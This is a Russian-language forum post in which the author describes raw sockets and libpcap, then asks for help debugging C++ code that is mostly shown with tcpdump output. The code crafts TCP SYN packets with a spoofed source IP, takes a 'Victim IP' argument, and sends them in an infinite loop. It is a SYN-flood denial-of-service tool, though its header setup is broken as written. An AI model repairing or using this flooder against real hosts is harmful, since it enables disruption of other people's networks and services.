VestniK,
при беглом рассмотрении показалось, что это именно то, что нужно. Обязательно прочитаю статью, спасибо!
Пишу сюда же, так как немного разобрался в теме - наверняка кто-нибудь ещё будет искать, а материала почти нет в сети.
Для реально "сырой" отправки пакетов и вправду сгодится традиционный socket( ..., SOCK_RAW, IPPROTO_TCP ); Ссылка на статью с этим делом в начале этого топика есть.
Но вот со сниффингом (низкоуровневым перехватом) пакетов дело обстоит чуть сложнее.
С помощью recv() или read() мы можем получить данные, которые пересылаются в пакете. Но ip-, tcp-, udp- и прочие заголовки мы получить не сможем. Для этого надо "отнимать" пакет у сетевого интерфейса, у самой карточки. Это поможет сделать библиотека libpcap (для *nix) и winpcap (для неверных
). Почитать о кодинге под *nix можно тут:
http://yuba.stanford.edu/~casado/pcap/section1.htmlСтолкнулся с новой проблемой.
Пакет вроде отправляется, но почему-то без TCP-заголовка. Подозреваю, что всему виной моё поверхностной знание C.
tcpdump:
00:31:44.267166 IP (tos 0x0, ttl 255, id 10200, offset 0, flags [none],
proto TCP (6), length 4096)
10.195.60.129.re-mail-ck > 10.195.60.129.re-mail-ck: tcp 4076 [bad
hdr length 0 - too short, < 20]
0x0000: 4500 1000 27d8 0000 ff06 f597 0ac3 3c81 E...'.........<.
0x0010: 0ac3 3c81 0032 0032 6745 8b6b 0000 0000 ..<..2.2gE.k....
0x0020: 0002 0000 0000 0000 0000 0000 0000 0000 ................
0x0030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 ............
Код:
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
//#define __USE_BSD
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#define die cout<<"Terminating.";exit(EXIT_FAILURE);
unsigned short csum (unsigned short *buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
using namespace std;
int main(int argc, char ** argv) {
int fd;
char datagram[4096];
struct ip *iph = (struct ip *) datagram;
/* Вероятно, проблема кроется где-то здесь? */
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
char * data = (char *) datagram + sizeof(struct tcphdr) + sizeof(struct
ip);
struct sockaddr_in sin;
if( getuid() != 0 ) {
cerr << "Superuser rights required!\n";
die
}
if( argc < 4 ) {
cout << "Usage:\t"<<argv[0]<<" <Victim IP> <port> <Target IP>\n";
exit(EXIT_FAILURE);
}
if ( (fd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP) ) < 0 ) {
cerr << "Socket\tFAIL.\n";
die
} else
cout << "Socket\tOK.\n";
sin.sin_family = AF_INET;
sin.sin_port = htons ((uint16_t) *argv[2]);
sin.sin_addr.s_addr = inet_addr(argv[1]);
memset(datagram, 0, 4096);
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id = htonl (54321);
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr (argv[3]);
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons ((uint16_t) *argv[2]);
tcph->th_dport = htons ((uint16_t) *argv[2]);
tcph->th_seq = random();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = 0;
tcph->th_flags = TH_SYN;
tcph->th_win = htonl (65535);
tcph->th_sum = 0;
tcph->th_urp = 0;
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
memset(data, 0, sizeof(data));
int one = 1;
const int *val = &one;
if (setsockopt (fd, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
cerr << "Setsockopt\tFAIL.\n";
die
}
while(1) {
if(sendto(fd, datagram, sizeof(datagram), 0, (struct sockaddr *) &sin,
sizeof(sin)) < 0) {
cerr << "Sendto\tFAIL.\n";
die
} else
cout << " :) ";
}
return 0;
}